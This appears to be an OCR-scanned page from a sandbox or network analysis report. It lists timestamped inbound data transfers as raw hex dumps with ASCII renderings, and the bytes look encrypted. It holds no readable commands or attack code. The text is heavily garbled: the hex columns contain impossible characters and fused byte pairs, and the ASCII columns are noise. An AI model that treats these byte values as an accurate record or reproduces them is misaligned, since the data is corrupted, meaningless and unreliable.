Data Ascii: VL/?FWULXND1Ox6¢c+_YETc~slts6t!V-M;glp"*__"T(/zTebO:U:UGD8?\RNL!W6XKfsj|*<x}C})_.8]"eb .0}.-E2_

2021-12-01 08:15:23 UTC 3817 IN Data Raw: e2 a4 69 53 55 1a 04 c¢3 bc 24 80 94 67 6c de 0f 63 20 25 53 a5 0f 80 d4 95 5f f9 5f b2 a5 2c 69 46 76 07 70 f6
a9 5f 3e 0f 3a 95 15 aa 66 72 60 69 b0 84 40 9a 1f c3 e9 18 f8 5e 66 11 df 12 c3 3e ca 37 89 7f 5a 9f 65 9c 89 2c f2 Ob 46
c9 0b 5c de 76 85 27 56 5d 48 c8 el ed bd eb 37 1e 7c 39 fb e2 ba ac d8 06 26 49 42 e3 80 40 ea 77 f8 a2 ad 9b de d3 67
29 47 c1 ¢9 40 c5 0f 14 d9 1f 62 ac b7 f3 98 82 5a 59 b4 b1 e7 87 25 6e 84 b7 73 06 32 59 42 7e 18 al e0 09 a9 48 04 60
d9 a8 54 23 9e e5 ¢6 00 c2 bb 66 6a 9e 50 5a 12 33 fd ba d5 56 23 ef 8f e4 8f db f1 fb a0 2d 3c 94 77 7f d4 72 f7 b4 aa 15
d5 cc d9 a2 fb 3b 96 3f 42 8f 2e ed 99 5e a6 d3 62 f0 31 64 Oc 1d 88 94 a0 6d 4b 59 61 db 28 7d 85 7a 92 59 c6 71 3a ee
a3 d7 fd 11 64 08 b8 9f 2f Oa e6 48 15 46 64 4f
Data Ascii: iSU$glc %S__iFvp_>:fri@"f>7Ze,F\v'V]H7|9&IB@wg)G@bZY%ns2YB~H T#{jPZ3V#-<wr;?B.”bldmKYa
(zYq:d/HFdO

2021-12-01 08:15:23 UTC 3833 IN Data Raw: 55 14 3e 63 €0 18 e5 fa a5 05 9c a6 6¢ 70 4d 26 51 61 48 59 fa 78 7b ff 57 b4 1a 96 6d be 67 76 a2 23 44 f6 f4
47 a5 d9 af 93 9c 3f 3f af 20 08 77 6b 79 86 cb 17 Oa da f7 9b fe 87 7e b6 8¢ 24 68 1c 72 3a ff fd 98 fd 49 d2 a8 f5 82 89 1t
75 7b 98 10 0d 7c 1a 36 3d 7a 7e c4 c0 a6 c9 80 53 2f 60 ff 1b 08 70 60 3¢ 90 a8 44 5d d2 Oe 89 f4 a8 08 c3 3b 1b 15 d4
00 30 af 6b 24 Ob 84 67 63 5b 33 d3 19 20 al a3 c4 9d eb 6b 22 9f de 6f b2 94 ca a4 f0 95 42 fb 69 9e b7 68 de 81 8d 32
56 12 a8 97 3f 69 96 7a 42 cd 27 00 65 fa 3e 55 27 ae f4 7e 79 3e 52 4a 3e 49 dd 35 74 35 bb 02 19 19 e5 bf 0d 19 5b f5
06 ab 72 1f 21 4f f9 d4 el a4 e3 55 Ob 8e ee a7 40 cc f4 23 34 9d b5 ed b8 73 ¢3 58 6¢ 94 e le {7 98 2e 90 a2 3b 65 10
65 ec 7f e8 2b 77 37 97 84 9a 3d e3 46 bl 1c ac
Data Ascii: U>clpM&QaHYx{Wmgv#DG?? wky~$hr:lu{|6=z~S/"p’<D];0k$gc[3 k"oBih2V?izB'e>U'~y>RJ>I5t5[rIOU
@#4sX|.;ee+w7=F

2021-12-01 08:15:23 UTC 3849 IN Data Raw: f6 fb 6e 62 91 af 6a 90 72 ca 44 83 85 al f2 06 fc eb f4 94 a6 25 46 43 a2 3e ba 9a d7 f1 f2 ae 2d 3f 96 41 ec
52 c0 7e 35 19 03 60 73 3f 6¢ 0d 34 b7 ba 80 98 57 54 96 fe b9 10 85 31 11 6b 75 6e 1c 3b 50 55 28 2d df 81 7d 83 c0 e
c8 88 0f 04 1f d1 86 ae 47 16 d9 a8 6¢ 64 c8 dO 1a fO b9 f4 3d 71 12 89 ba c7 dd 76 ab 51 62 73 76 2b 5a 4b c4 e0 a6 d3
27 1c d8 06 f2 eb 23 7e 30 6¢ €9 a7 6a 78 €5 eb 31 d0 d0 75 5a c1 ef bl e8 52 4b 05 d2 9d c9 a7 f1 c0 10 db 01 08 64 fa
4e ba e7 2d 62 89 e6 24 b8 a2 df 7f 57 b2 c1 b4 38 09 68 9b fd 9d fc fd 49 cf 80 00 09 c3 ff 86 5e 38 2a d1 94 2c 2e 91 4b
87 2e bd 4a 7 af 90 70 90 98 Oe da 36 a9 88 5e 26 6e 07 43 26 46 72 4f 00 ca b9 75 55 29 2c e6 44 88 83 1d 35 ec c0 71
d4 85 31 1e 90 49 4¢ 52 71 09 8c fc 1f 05 c8 69 Oc
Data Ascii: nbjrD%FC>-?AR~5"s?14WT1kun;PU(-}Gld=qvQbsv+ZK'#~0ljx1uZRKdN-b$W8hI"8*,.K.Jp6"&nC&Frouv),
D5q1ILRgqi

2021-12-01 08:15:23 UTC 3865 IN Data Raw: d2 63 c0 9e 62 ce 4c db a8 90 87 a7 1f 98 11 10 7b 1a el Of 7f 59 05 89 cb 7 b5 c¢3 5d 9d e7 26 al 32 83 b2 55
€9 e8 8c 84 c3 1f 48 ce d3 48 b1 2e Oc af 05 3b f2 d0 39 e8 77 b4 7b 7f 9b d5 a9 €9 89 00 d9 7b 6 03 39 c1 b0 42 e5 3a
bb c9 4d 94 46 c5 56 fc d9 bd c3 e4 1f 75 02 0d cc a2 64 be 7a 3e f0 6e 10 90 c2 bd Ob 1e 2d 13 de 28 €9 67 85 29 7a fa
3faa 70 21 50 41 e4 01 99 f1 df fO 4f 44 e9 97 1d c4 7e da d8 f9 3c 31 e0 ff 81 ad 6e 84 fb f2 02 79 Ob 2f 27 4d 48 26 f4 59
a5 f7 ¢8 78 5a d3 62 6b b1 1b 48 79 0b 14 c¢3 19 d9 7f ba ce b7 00 58 63 ae 23 78 fc 21 10 c1 ac Oc Ob 7b 82 21 b0 45 7b
be e4 03 aa 65 15 6a 36 bd c6 96 3d 44 0d 2b 34 4d 62 4f 08 86 2c 2c 19 e3 b8 f1 33 98 e7 8a 26 fe 23 7a 14 e4 9b 9d ac
1a 90 c2 a6 aa cd f5 44 cc 23 ce 7b bc 73 8¢ 02
Data Ascii: cbL{Y]&2UHH.;9wW{{9B:MFVudz>n-(g)z?p!PAOD~<1ny/'MH&YxZbkHyXc#x!{!E{ej6=D+4MbO,,3&#zD#{s
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kBytes
Timestamp transferred Direction Data

2021-12-01 08:15:23 UTC 3881 IN Data Raw: 81 07 85 be 6¢ 26 33 c8 2b ed cc cd 1a 08 56 ff 16 e5 fa 40 13 1b 82 38 78 5e 41 58 29 06 5f 55 b8 07 e4 7b fO
4b 41 c7 56 d1 0f 56 30 b2 39 ab 3 98 80 44 f9 53 51 cd 28 1e 68 le 4b 6a fe el ba bf ec 90 86 65 ee 2d 42 15 88 20 13
04 67 b5 96 26 b6 56 2f 43 3d 5d b1 a9 5e 72 d6 05 1la bb d4 2f 9f 92 52 2c¢ dc e5 88 96 ae b8 49 f2 f1 e8 Oc ea 1b 33 26
41 46 20 41 6e 20 5¢c 64 b9 e2 47 89 a7 30 ce 9f 8d 89 21 61 86 fb 75 2c 04 21 f3 af 65 51 93 90 ae ec bl ca f9 11 b0 ef
06 8e d8 be eb c8 33 40 54 bf 2b al be 42 d6 4d b8 4a b2 Oe 12 ff 75 3f 69 2a 05 02 b6 f1 20 d1 bd b6 85 8a ca eb 0b 93
95 f5 6b 47 e4 9d b3 6d 2f dc 30 3 d6 55 f1 5¢c d4 cf 97 c8 21 e5 e5 08 2f 62 36 2e dc ba 43 72 7c 52 6f ba e6 d6 33 61 38
c0 e4 0c 3a 92 bb 58 91 ce 19 43 fe cb 2d 72 51 5a
Data Ascii: 1&3+V@8x"AX)_U{KAVV09DSQ(hKje-B g&V/C=]"r/R,I3&AF An \dG0!au,!'eQ3@T+BMJu?i* kGm/OU\!/b6.
Cr|Ro3a8:XC-rQz

2021-12-01 08:15:23 UTC 3897 IN Data Raw: 03 88 38 01 d2 fd fe ff ec c4 26 99 37 58 74 a9 a8 6d c3 16 94 68 b7 f9 9a 82 fa e5 41 37 Oc ec d2 97 78 c4 Oe
22 29 5d d4 4d bf al 68 95 4b b5 94 aa 3c ba 18 9d f5 52 ed bb 77 44 bc ad d1 21 1c 9b a8 66 cb 00 29 8a 3d c6 el fe 55
80 2f cc el ba dc b3 39 bb 72 1f b6 aa b5 08 01 06 e7 5 9b 40 8c 29 27 62 ec 9a ed 5e 5a 3f aa da d1 d8 ad fa f1 {7 31 ee
90 a0 c0 5b cf a9 d5 fd 8a 5f 35 e8 38 fc c4 8c ea d2 56 ¢5 9c 14 6d a8 ea 22 da 25 66 7d b6 c8 2d 75 cd d2 70 6d 41 76
f8 13 9a 99 al ad 6b 8a 8f de 06 87 3e 5d c4 da 48 02 ed 22 85 3d 4a 16 67 85 f9 39 58 a0 11 Oe 46 b5 4d 10 f4 12 fd 84
63 af 92 c6 57 7a 80 d0 a5 4b a8 15 01 d8 19 ab f9 99 e6 d2 23 ab 5a b5 93 d5 a2 26 27 c0 84 9a 4d 1c 1f 84 a2 c2 fd 09
94 0b bd 60 40 53 65 3e 22 e8 32 75 3e f7 2d 1d 01
Data Ascii: 8&7XtmhA7x")]MhK<RwD!f)=U/9r@)'b"Z?1[_58Vm"%f}-upmAvk>]H"=Jg9XFMcWzK#Z&'M' @Se>"2u>-

2021-12-01 08:15:23 UTC 3913 IN Data Raw: 46 cO a9 af e6 2b 36 08 ac 9b 74 97 d5 95 Oa f4 88 8a f5 a2 86 87 5b 82 a5 36 06 52 b7 2c 51 68 27 2c 64 64
e2d4 22 54 31 b2 75 f4 56 89 e5 f3 ce 38 €8 82 4b 26 a0 8f 71 75 1f 8a 30 cf 9d 82 5b c0 44 ec ff 55 dd 54 e3 e3 00 77 09
29 ee 31 89 b7 b0 e0 b4 84 84 d1 b9 1b c6 8f dO 54 Oc a6 40 54 56 a0 fb fc c8 93 4a da 89 33 6f b1 22 33 e7 60 91 c0 64
4e 2d c88a 9d a4 68 49 f7 5¢ d1 7d cO ba 28 18 78 bd a8 89 09 bc b4 04 71 f2 26 35 c2 40 1e e5 ae 3f 0f f9 7b ca 32 16
83 e7 a0 76 98 10 f5 14 0d 83 d1 63 29 6e dc 55 e6 d8 70 00 8e 61 8f 5d Oa 4b 7c 74 d6 52 86 2a 3f 3f 10 f3 c8 10 a7 96
3b 58 f1 16 ce 9a a8 7c ff bc 69 6e 33 de 33 Oc 8¢ da df c4 a5 b3 50 0f 9b 55 ca d7 e0 92 60 6f 29 1e 3e 35 e7 ba 40 37 2e
40 3f c8 8f 3¢ 7 9c 2d aa e3 ad bd 4e e4 al 3e a2
Data Ascii: F+6t[6R,Qh’,dd"T1uV8K&quO[DUTw)1T@TVJ30"3 dN-hI\}(xq&5@?{2vc)nUpa]K|tR*??;X|in33PU 0)>5@7.@?<-
N>

2021-12-01 08:15:23 UTC 3917 IN Data Raw: b2 c6 d8 0a 60 fa 27 86 2c 0f 70 9c f3 5b b2 cd 5a 37 38 48 d3 98 c3 e5 5e 79 3 b7 bf a0 54 a3 5b 58 ac 2b 73
b8 6d 76 89 80 62 91 d4 c3 48 01 79 76 30 e9 de 72 7f 52 fa b3 Of 2f 55 bb 30 bf e3 d5 92 48 7f 02 3a 08 21 5e 13 f1 3 7b
92 33 78 5e 3 85 e4 e0 e8 06 8f 92 f4 d5 62 8e 2e 12 15 b8 73 96 73 1f 08 30 b3 4f 66 e4 ed c3 04 3f 92 b5 c0 a3 d7 aa fc
2fee f7 ca 44 68 e3 eb d7 82 60 4d 86 9c 02 c7 44 3a 80 e2 bb 2a 84 2d ef 41 c4 85 c3 d5 0f a4 44 83 82 f4 ec 84 49 c9 7f
e8 5f d3 ff 8¢ 6f c5 6d cc 5¢ 19 50 f9 13 40 02 1b dd 7b e5 e4 2c b1 07 07 20 80 f1 71 Ob a7 1f b3 cd 09 c4 b3 21 a2 4d ba
6 Of d2 43 84 ed 2c 5a ¢7 78 23 11 c¢8 a0 a2 b4 dc 62 a7 b6 71 ac bf 01 88 a5 43 38 97 80 af cd b6 d5 8d 14 05 d4 cO cb
fa 11 03 8b e7 38 8a Ob 48 13 2d 8a 33 49
Data Ascii: ™',p[Z78H Y T[X+smvbHyvOrR/UOH:!"{3x"b.ss0Of?/Dh*MD:*-ADI_om\P@{, q!MC,Zx#bqC88H-3I

2021-12-01 08:15:23 UTC 3933 IN Data Raw: 2c 13 d2 cb f9 2b 83 1c 4e 80 7c 7 8e c0 f1 95 d1 3b 75 83 a6 87 4f 12 4a 2b 55 63 1f b6 78 c4 e4 d8 a7 29 e5
79 22 24 2d 8f 8¢ 03 ec 21 66 5¢c b0 42 73 73 09 a7 3d 82 0d 0d 21 8d 86 fd 3d a5 eb 30 47 22 12 7c 39 5a 67 83 17 7d e7
3d 98 8 ea 4b 32 c1 bf 84 2a 7f c1 b4 84 8a 38 f6 36 02 fd 2b 38 3f de {7 d8 f5 2a 9c 47 69 02 4a 21 bl e9 ee 3f 56 59 e4
f8 97 21 35 dc el c4 7d a3 c2 c6 bb 80 49 00 a4 dc 94 80 ab f9 9a 07 be 96 22 28 74 c5 6 d8 ac ce e7 fa b3 76 Oe e5 35
f2 17 11 54 f3 57 d7 9b 85 d4 38 ef 02 8f 1c 72 dc ¢5 59 4f db 17 01 el ef fe 3a 75 91 1f dd 8e 7e 2f 7d 04 af ac 19 e4 92
d2 99 8 ef 81 00 24 a8 74 03 b7 80 1c f4 d4 89 Oe 33 a9 20 71 e3 76 ad 7d 28 7c ae be d0 72 74 2f 1b 3c be e4 36 9a 97
28 29 2f b6 f4 9a da 17 17 53 b5 4b 5d f6 9d 19
Data Ascii: ,+N[;u0J+Ucx)y"$-!\Bss=1=0G"|9Zg}=K2*86+8?*GiJ!?VY!5}I"(tv5 TW8rYO:u~/}$t3 qv}(|rt/<6()/SK]

2021-12-01 08:15:23 UTC 3949 IN Data Raw: 9¢ 2d ba b3 c0 bc f8 e8 d6 7a c5 bc 73 df 10 b2 f7 01 3e 41 dc 5¢ da b4 58 27 e5 27 bf 27 c0 ba f1 dd 17 01 9¢
99 dd b3 58 46 a5 2e 6b €9 €9 62 9b 61 51 21 e4 78 5d b1 59 85 30 87 ad 7f 8b 96 68 fc 5e f1 f1 ee b3 26 c4 8a 2f fb 8¢
01 ec c7 d3 5¢ d0 55 f5 ac 93 f2 71 64 98 f5 04 b0 84 d8 a5 a5 39 fd 9e c1 b0 f3 71 6e 4b 54 ec f5 5a 5f ca 9f 0d 5f f9 a2 62
b5 72 ad ef e4 b7 de 42 ea aa 24 32 2e 0a 17 44 4c 72 b3 ea 3e 85 b0 61 35 7d af 8b bb 08 d5 4e 1b b2 de 8f cc e2 8 f3
e6 ec 54 df 3a 9f eb 6b 31 al e8 9b 92 05 1a 3e af e2 c7 ce a5 32 2f el Oc ad f5 a2 f2 46 ce d5 27 eb 44 ed 6b 08 07 da 55
7424 8579 25 dd 2d 58 96 ff 41 f9 21 d6 31 a4 28 f9 b4 74 e3 21 af 20 7b cc 9a 78 bc 11 0f 2a bb 10 51 d2 65 1b f9 ec ff
€7 26 e2 4b 51 bc 63 d2 f2 e7 1b 5f de 93
Data Ascii: -zs>A\X"'XF.kbaQ!x]YOh"&\Uqd9qnKTZ__crB$2.DLr>a5}NT:k1>2/F'DkUt$y%-XAl1L(t! {x*Qe&KQc_

2021-12-01 08:15:23 UTC 3965 IN Data Raw: 61 53 38 Oe 2a b6 8a f6 54 b8 1e 8¢ 02 7e 1f 2e 63 76 58 d8 87 7f 4a f1 d4 af bd 18 9b 96 5f fb f5 15 34 b4 2c
ch e7 7973 75 11 86 80 d0 18 b8 b6 a2 d1 55 8b 07 36 7e 8a 21 29 19 c6 36 f2 2¢c 7a 50 d3 8¢ b2 52 al 1f 6d c8 db c9 1b
8d 81 4b 05 3c 5f 37 8b a7 2d 2a ed d7 53 76 05 8a 27 73 25 3e c7 f2 45 f3 89 ec d4 bd 1e de fc fe f8 f5 e7 c8 8¢ 93 8f Of
75 aa 44 32 cf 56 {7 59 ad 6a b8 23 d7 90 eb d1 ec de 60 db 96 2f 3c b5 3c a2 3e 4b b8 92 30 e4 e8 4f 03 00 Of 9f 45 92
20 ¢c3 b7 7f a9 30 76 1e 45 2a c6 c5 e9 dd aa da 9f 33 28 {7 47 d1 83 6¢ 68 c8 aa 36 d3 e8 3b 82 40 a0 d1 4b b9 ee c3 Ob
2b f8 52 03 7a 6f 55 dd dc 84 Oe 53 bl 2c 57 Oe 8f 8d 34 2e ca dc 75 9a 2f 3c 1b c9 4f 6e a7 40 00 68 f4 cd 63 ea 4f e6 70
71 69 1d 03 Of b7 cf 7b 26 86 c3 Oa 71 7f aa d3
Data Ascii: aS8*T~.cvXJ_4,ysuU6~!)6,zPRmK<_7-*Sv's%>EuD2VYj# /<<>KOOE OVE*3(GIh6;@K+RzoUS,W4.u/<On@h
cOpqi{&q

2021-12-01 08:15:23 UTC 3981 IN Data Raw: 8e b2 05 53 88 €0 11 5b a8 76 9e 60 5b 62 e3 ac 4c a7 ad 56 17 2c 78 eb 40 ba 88 51 e7 d3 f1 47 eb ca c3 17
4b d3 a2 b7 25 Oc 57 cb 4d e6 64 a8 ae c2 1f 85 2e a3 Oe a9 81 0d 99 74 4f ba 09 66 40 al eb 90 89 0f cd 98 ea c5 79 96
c3 b2 22 c1 65 e7 6b 94 30 7f 13 ee a8 6e a7 a4 00 d4 ae 85 04 d8 25 0d 44 c1 77 93 4c 1f 12 21 60 Oe 20 cd e7 ed 02 07
53 e0 c9 ce 92 35 54 99 33 bb 9e 83 41 ef ae 9d 89 37 a0 d0 03 ee 1f f4 58 cb 3a 85 55 0f 0f d5 49 a7 e5 70 el b6 5d 18
1c d7 69 eb 1e 00 el 61 7d c6 90 36 f1 6¢ cd 76 7c 36 db 21 5b 4e 9e fc 90 0d fc 27 ab 75 07 d7 4c c8 79 ee f8 f0 fe fO a2
77 5e Oe 1c 3d 80 68 51 35 83 d9 df 1c ca 3a 6a cf a0 85 da 39 9d 08 6¢ d4 24 01 32 28 9c b4 b6 6a 5a 93 71 be 88 9¢ 92
5e 96 74 2f 2e 79 7a 3f 69 ab 4e c4 b5 ¢7 14 65 db 14
Data Ascii: S[v'[bLV,x@QGK%WMd.tOf@y"ekOn%DwL!" S5T3A7X:Ulplia}6lv|6![N'uLyw”=hQ5:j91$2(jZa"t/.yz?iNe

2021-12-01 08:15:23 UTC 3997 IN Data Raw: 0a d5 33 29 d1 53 51 cd 66 a0 3f a8 6e 1e 06 7d d9 7f 4a d8 9c c2 84 b8 d2 99 f3 1a b6 76 24 9e 6d d8 d1 fb fa
3a 69 88 ca 59 d8 26 77 69 cb 4a 83 cf 9¢c 57 c0 4b 3d 7f 6e df d7 c5 3f al 53 39 08 fd c6 64 ea 7b 27 50 27 8 19 a6 fb 8d
ea ba da a5 05 16 9e ca f8 52 93 8e 85 58 e7 99 df db ad 20 bd ff ac 9e 0f c6 cb 87 93 64 bb ca de a8 54 59 59 c1 f2 73 dO
be 87 07 b8 23 68 0f bl 8a 0a 25 aa a4 03 a4 c9 d6 18 4a c6 d3 34 47 07 78 al e6 cO 7b b0 f2 b3 bb 8¢ 77 35 4f 6a e9 9a
31¢548 78 16 e5 01 3b 8f 00 84 4e 8a d6 f2 99 cd 36 d9 34 d8 el 26 d6 d7 a0 07 75 61 81 1c 4c 0f d2 c1 81 c9 1c e4 86
14 31 59 da 49 6d fd 6e 1c a0 25 7c 91 cf 1a 6f d2 85 16 54 df 83 3a 56 47 db 70 33 7f de 19 30 73 e4 87 09 e0 €9 1a 55
20 14 59 d0 22 7e 94 59 3e b9 07 38 9f 9a 6f 27
Data Ascii: 3)SQf?n}Ivem:iY&wiJWK=n?S9d{'P'RX dTYYs#h%J4Gx{w50j1Hx;N64&ualL1YImn%|oT:VGp30sU Y"~Y>80'

2021-12-01 08:15:23 UTC 4013 IN Data Raw: Of 8d 9e e8 05 6f e7 51 cc 36 a7 bb 54 80 86 1f 05 e8 f1 fO 4b 5¢c 70 48 ad 81 96 9b ea 46 4b 36 c3 d1 99 94 00
bc 6a 8a 1b e4 a7 7afa 76 d4 c9 3a 8d cf 4d 40 d3 c9 97 6f ea 9c bc 0d 63 1b ba 62 9e 59 Oe 1d 97 a2 a4 be 7e 6f 1a 84
a6 6a 5d 36 13 ad 2e 4f a4 1b 40 79 54 7a d9 2b 69 06 74 f7 a2 Oc f2 75 d7 3f eb 1f Oc 4b b0 13 9f a4 27 94 44 06 6f 72 fb
ac d7 88 12 73 al 7e ab 5c 5e 1b 80 3f 4c 1e b9 5d e2 fc 86 9a 37 bc 2¢c Oe 9b 67 33 68 6¢ 43 ec 52 6¢ 75 07 1e 17 6¢ 96
c1 bl 3b 90 9f Of 70 01 b6 f5 13 34 2e eb 2c ¢7 74 3¢ f7 0d el 7b cd be e6 3e al 12 2b df 97 8 37 9b ec 6d ee a2 37 c9 10
20 15 84 Oe 55 a7 ae 08 39 ab 5b Ob af 5¢ 14 25 8a 49 de 55 b0 ae be 54 ed 54 b8 71 16 d1 09 Ob 2d 9a ba c2 28 6d ec 2f
7a3b 16 9b 61 23 f28a 7c 92 32 €6 1c 9b 7b aa
Data Ascii: 0Q6TK\pHFK6jzv:M@ocbY~0j]6.0 @y Tz+itu?K'Dors~\"?L]7,g3hICRIul;p4.,t<{>+7m7 U9[\%IUTTqg-(m/z;a#|2{
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kBytes
Timestamp transferred Direction Data

2021-12-01 08:15:23 UTC 4029 IN Data Raw: 42 28 56 d5 d8 2c 37 3a 19 80 b1 66 6f 6f 65 9e 53 69 2b ae 48 9d aa dd 35 aa d5 13 b1 a5 92 1c 30 41 52 0d
d5 17 6b 9a 87 8f b0 db 8b ee a7 31 00 df 69 d1 02 9e 38 55 65 85 a9 7b fa bf 23 ¢7 03 70 4b df ee f5 d9 77 1a ad 6¢ a4
a3 b7 10 1a d3 6¢ cd eb 49 ¢3 65 1b 65 89 c9 42 9f ed 4c 79 ff 23 26 4b c6 3d 26 d8 8b 97 ac e8 28 f2 48 6f 31 05 25 0Of 30
9d d3 af 47 b6 9e 92 13 c0 d8 04 1c b3 26 da f6 92 71 9e 33 fd 25 e2 bc f4 90 0f cc 64 9e b2 4f c0 20 71 78 b1 84 ab 98 12
d0 72 0c 67 el a0 d7 65 el 3e ff €6 47 b7 43 b2 c7 86 4a 05 e2 4c 49 ee ae 2a 91 52 bd fb 2c c0 91 42 35 f0 ba 37 0d 32
2fel1 67 25c9 1ad5 1c 67 6d 22 7d d5 14 43 e8 f3 ac 91 d9 14 b2 e9 1la 5d 2d 25 ac b7 de d8 88 9c 7c 33 2f b2 c1 61 90
a9 c4 4b 2e 9d 8a 49 4d 33 48 aa ee 2d a5 6e e8 64
Data Ascii: B(V,7:fooeSi+H50ARk1i8Ue{#pKwllleeBLy#&K=&(H01%0G&q3%dO gxrge>GCJILI*R,B572/g%gm"}C]-%|3/
aK.IM3H-nd

2021-12-01 08:15:23 UTC 4045 IN Data Raw: 52 2e 98 f7 5b 2a 3c 55 d5 a3 f7 58 ff a5 03 a7 5f 46 ab 6b 5a 0b 51 1d 7d d5 el a7 19 bf 79 53 7e 89 d5 d0 89
6f Of 2c d7 b9 12 e4 45 45 16 b5 5f 13 7f 7b f6 €0 ba 11 49 40 cc 51 70 a0 80 3d 40 76 9e Oc ce dd dc 92 c6 c8 b2 96 33
ee 79 15 f4 8a 4d a9 5b 31 Oc 5b bd a6 c4 c5 5¢ 85 78 3c bc bl b8 08 a2 97 el 49 df 43 2a b5 75 6d f9 f7 78 3b 11 e2 57
29 66 a5 8b 49 ac 8f al cf 3b 7b 72 be 69 8¢ 58 f8 b3 d0 {7 f6 6d d4 67 4d 15 00 47 Of a0 cc 74 71 c1 98 d6 e5 5f 33 b3 12
ce 51d5 f1 75 46 bb 94 c7 df d8 e8 db 34 9c be b4 1d 93 63 cc 34 50 61 e7 5¢ 59 5a 67 e5 bc 7 f6 93 dO bf 7e d9 16 de
7386 10 1f 28 4a a8 54 d2 3d 66 17 58 4d cd 29 57 d6 c7 Ob 1b 71 e7 02 84 d3 10 e6 11 eb 86 b8 ab 36 f1 38 9f 72 b5 cd
57 be cf 75 78 70 12 ¢7 a2 9a 76 a2 f4 95 4b 67 99
Data Ascii: R.[*<UX_FkZQ}yS~0,EE_{l@Qp=@Vv3yM[1[\x<IC*umx;W)fl;{riXmgMGtq_3QuF4c4Pa\YZg~s(JT=fXM)Wq68
rWuxpvKg

2021-12-01 08:15:23 UTC 4061 IN Data Raw: aa e0 84 08 3f aa 8d 5 dd df 4f 79 69 3d da 8f 75 2c 37 be b2 0f 38 52 2b 13 6b 6b 24 b9 7a cb al 49 17 af 32
67 60 1c 16 fe 23 al 48 61 0a 25 41 4e 41 d7 fc 77 be 59 10 80 1e c4 Oc al e6 4c 80 8f 69 45 73 d2 60 31 f6 07 20 97 45
9419 29 a5 54 da f9 cb 37 d8 d4 1c 1b ca b2 e2 61 1e 09 92 73 d2 ec 60 af 1c 82 ea 32 f4 de 49 81 ¢5 62 71 2d a4 34 12
45 a2 43 02 a8 f1 09 25 c9 8a aa 5e bb d3 22 a7 fa 33 6d 0f 30 f0 f4 71 1e 33 f2 95 7c bd 32 e4 5f b8 49 6d 63 08 el c8 87
f2 46 83 9d 8d 2a 52 f7 d0 67 c6 4f 84 1c 4a al 80 a0 al Oe 07 28 6b fa 5d 81 1b f0 21 2c fa ba 6e €8 5f €6 8e 60 eb 02 25
cf f7 69 80 32 a2 4e ee 2f 85 84 7f a8 38 93 58 87 ae 83 c3 le ca f4 f5 a4 89 d2 74 ea 40 1f a4 a0 df 77 14 7a 53 0f 84 23
91 36 ea 63 84 22 32 e4 6d 38 df fc 09 6d 02
Data Ascii: ?0yi=u,78R+kk$zI2g #Ha%ANAWYLIEs 1 E)T7as 21bg-4EC%""3m0qg3|2_ImcF*RgOJ(k]!,n_ %i2N/8Xt@w
zS#6c"2m8m

2021-12-01 08:15:23 UTC 4077 IN Data Raw: 26 e4 96 5b 4a 48 04 fa 9f 7e e4 a5 52 16 f8 dc al f9 84 02 35 77 db 44 e2 20 41 40 92 a4 6d 1f 64 11 b6 36 c2
62 70 84 05 da c3 07 58 38 9f f8 3c e1 8d 56 6a b6 aa 34 70 2f e4 41 b5 b3 62 86 7c 50 2b a4 48 70 97 35 b8 a6 b4 c3 6¢
€6 76 Oe 91 21 68 48 4e 9f bd d9 a3 68 ad a0 e7 e8 03 5d 55 3a 71 74 f0 aa 04 60 f9 96 54 45 59 65 5a 36 7e 52 11 b4 77
elclcfa257 b7 77 ce db 36 e4 7ad8 7c 91 4a 98 7a 74 d1 ce 44 21 b5 c¢8 8d b1 81 49 0b 80 67 c7 53 4c e4 b0 47 66 ab
7594 9a 46 61 2c b2 22 f3 8f 5b ad 42 24 83 5a 8b 15 74 bc 21 95 ab f1 29 d5 7a 33 ed 59 b5 cf 05 f2 21 b8 20 ff 3e ef 24
le b2 c2 f4 ff 5e e5 ab 68 ed fe 38 7a 96 80 c7 Oc 8a fd f3 22 94 02 22 b2 f3 5f al el ef 3b 30 10 c1 e6 61 17 20 04 98 dO
99 d7 49 50 c2 2a 62 56 07 b1 3e 15 db ee 2d ad
Data Ascii: &[JH~R5wD A@md6bpX8<Vj4p/Ab|P+Hp5IvIhHNh]U:qt TEYeZ6~RwWw6z|JztD!IgSLGfuFa,"[B$Zt!)z3Y!
>$"h8z™_;0a IP*bV>-

2021-12-01 08:15:23 UTC 4093 IN Data Raw: ea 66 c8 87 b4 cb 3a 0d f8 18 Ob 3d a5 7c e4 c2 7c 14 22 7b 54 b3 Oe 1c 2b 01 98 6f 42 2b 2d 14 45 d3 f1 7a bf
28 4294 16 74 43 ¢8 c0 63 21 8c a8 77 c6 c7 84 bf 84 dd 58 a0 c3 3a 87 cb 7e b5 03 8f a3 37 09 2c 1e 61 11 69 c4 7a be
8f bf 9e aa e0 a2 93 6d f3 cb 59 44 02 73 6a aa df Oc 7a 5e d3 ae b8 d8 7b 5e 8a 0f 8f b2 6¢ db a0 dc el c3 9f 81 2e bd 20
ce 97 95 e3 7e 50 a2 f3 39 d8 47 ee 7e 76 8e f9 ec b5 2a b9 7c b8 d7 9c 5a e7 ec d6 09 fa 86 33 84 97 5d 01 Oe af 1b c2
dc 9c 77 d3 61 f6 f1 88 42 90 08 €3 9b 19 d7 e3 97 37 db c7 3c 47 f6 8f 78 59 4a 20 3a a6 b9 1b f5 3e 3b 4e 60 a7 07 df
b4 7b 43 el 36 ae d8 3b 14 25 03 df c5 f5 ae 51 14 d5 5e 2b c9 ec 1f d2 9a 46 6d 04 3c f5 61 a8 c6 e6 21 23 55 57 f0 20
6b 90 57 12 08 86 74 ef 33 97 67 68 2e 81 24 24 9b
Data Ascii: f:=||"{T+0oB+-Ez(JtCclwX:~7,aizmYDsjz{". ~P9G~V*|Z3]waB7<GxYJ :>;N'{C6;%Q"+Fm<al#UW kWt3gh.$$

2021-12-01 08:15:23 UTC 4109 IN Data Raw: 93 2f c2 42 al 1b 50 34 Of 72 4c 30 38 48 6e ae 46 c5 c5 53 2b 9a e5 49 c2 91 53 3d 04 e2 bd ae c1 8b f6 af ad
e6 ef 3a ¢2 80 62 0d 5¢ Ob c1 e5 d6 73 bc 10 32 2d ed 36 99 65 b9 fd 7d 89 af de ae 57 7d ab 9a 2 3f 4f 62 b1 07 46 52
7029 ¢7 04 b5 a0 4b 7f 74 83 ac db 91 08 7b 1d 21 59 68 ch 54 ca c6 c6 26 ac 78 db 83 46 13 55 26 1b cd fc b0 77 66 4c
55 a8 5f 92 bf 67 ee 20 9a 6a 34 c5 7f 38 c2 93 dd 0a 00 9f f2 c2 ab 69 98 e4 2f 46 85 7b dd 7b 88 7d c1 f4 91 c1 b8 36 62
